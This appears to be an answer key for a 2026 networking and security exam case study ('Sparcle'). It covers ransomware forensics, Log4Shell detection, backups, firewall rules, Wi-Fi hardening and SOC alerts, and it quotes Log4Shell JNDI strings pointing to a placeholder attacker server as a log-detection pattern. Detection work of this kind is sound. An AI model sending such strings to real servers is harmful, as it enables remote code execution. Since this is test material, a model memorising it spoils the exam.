Sparcle - SISR, 2026 session

Mission A1 - Forensic analysis

1. The ransomware encrypted data and local logs → the traces became unreadable.
2. The lack of log centralisation (no collector/SIEM at the time of the attack): logs left on compromised machines may have been overwritten or lost. (You can also add: unsynchronised clocks, machines powered off/reinstalled.)

1. Clean backups remain → restoration is possible (no payment needed).
2. Only certain servers were affected, not the entire IT system.
3. The EDR deployed on uncontaminated workstations helped contain the spread.

1. The unpatched Log4Shell (Log4j) vulnerability on SRV_WEB1 - a critical flaw known since December 2021.
2. The lack of network segmentation → easy lateral movement towards servers.
3. Flawed patch management (exposed services, over-privileged accounts).

Immediate actions: isolate compromised machines from the network, apply Log4j patches, restore from a verified clean backup, and reset accounts and secrets.

Look for characteristic Log4Shell JNDI exploit strings injected into requests (URIs, headers, User-Agent):

${jndi:ldap://<serveur_attaquant>/a}
${jndi:rmi://...}     ${jndi:dns://...}

Their presence in the web server logs indicates an attempted (or successful) Log4Shell exploitation.

a) Potential Log4j targets are servers/applications written in Java that use the Log4j library (vulnerable version 2.x), especially those exposed or receiving untrusted inputs.

b) Therefore, other servers hosting Java applications are potentially vulnerable - notably SRV_ERP (SAGE ERP) and SRV_WEB2 - and must be audited and patched.

Mission A2 - Validation before rebuilding

a) Weaknesses in the initial workstation setup (and risks): no up-to-date EDR/antivirus, no disk encryption, users with administrator privileges, non-automated updates, weak passwords → risk of compromise and ransomware spread.

b) Remediation: deploy EDR across all workstations, enable disk encryption (BitLocker), revoke user administrator rights, automate updates, enforce a password policy + MFA.

Yes. The affected data (payroll, customers, employees) constitutes personal data: the company must notify the CNIL within 72 hours, inform data subjects if the risk is high, record the breach in its register, and filing a formal complaint is recommended.

Mission B1 - Backups and archiving

It allows authenticating the backup server during inter-site synchronisation: a spoofed server could not present the correct certificate. This prevents a man-in-the-middle (MITM) attack and ensures backups are sent to the genuine PBS server.

No. Encryption ensures confidentiality (backups cannot be read without the key), but not integrity: encrypted data can be altered. Integrity is achieved through a hashing/signature mechanism (verifiable digest) that detects any modification.

For each recommendation, we check whether it is followed and, if not, propose a solution. Key ANSSI backup principles:

• 3-2-1 rule (3 copies, 2 media types, 1 off-site);
• an offline / disconnected (immutable) copy - essential against ransomware;
• encrypted and tested backups (verified restoration);
• logging of backup operations.

Any recommendation not followed (e.g. no offline copy) → suggest the corresponding addition (e.g. an immutable disconnected copy).

The law (Commercial Code) requires accounting records to be retained for 10 years → retention setting = 10 years.

1. Limited retention period and proportionate (logs must not be kept indefinitely; duration justified by purpose).
2. Minimisation / pseudonymisation of personal data contained in logs, with restricted and secure access.

"Deny all by default" policy, allowing administration and backups to the PBS server (interface/TCP port 8007):

Source IP	Src port	Dest IP	Dest port	Protocol	Decision
Admin workstation	any	SRV_PBS	8007	TCP	Allow
Virtual servers (VMs)	any	SRV_PBS	8007	TCP	Allow
any	any	any	any	any	Deny

Mission B2 - Wi-Fi hardening (UniFi)

• SSID hiding: weak security (the SSID is revealed by connecting clients) → false sense of security, little value.
• MAC address filtering: bypassable (MAC spoofing) and cumbersome to manage, especially for external suppliers → poorly suited.
• PMF (Protected Management Frames): protects management frames (prevents deauthentication) → suitable for both networks.

For the "personnels_externes" Wi-Fi, prioritise an isolated guest network (separated from the internal network).

• The dark web blocker blocks access to anonymisation networks (Tor/dark web) → reduces exfiltration and command-and-control (C2) channels.
• The honeypot is a decoy: any access to it is inherently abnormal → it provides early detection of an attacker scanning or moving across the network, and raises an alert.

Mission B3 - Updates following SOC alerts

a) The application protocols can be deduced from the provided ports/logs (e.g. HTTP/HTTPS for web exfiltration, LDAP/RMI for Log4j exploitation).

b) Both incidents link to MITRE ATT&CK tactics (e.g. Initial Access, Execution, Command and Control, Exfiltration).

c) The severity of the 21 April incident is considered higher because the activity is further along the attack chain (e.g. exfiltration/persistence) than a simple scan or attempt.

a) The SAGE application malfunction stems from a block by the dark web blocker or the IPS/IDS: the downloaded update is mistakenly flagged as malicious (false positive) and blocked.

b) Solution on the UniFi controller: create an exception / allowlist for the domain or IP address of the SAGE update service, to allow this legitimate traffic.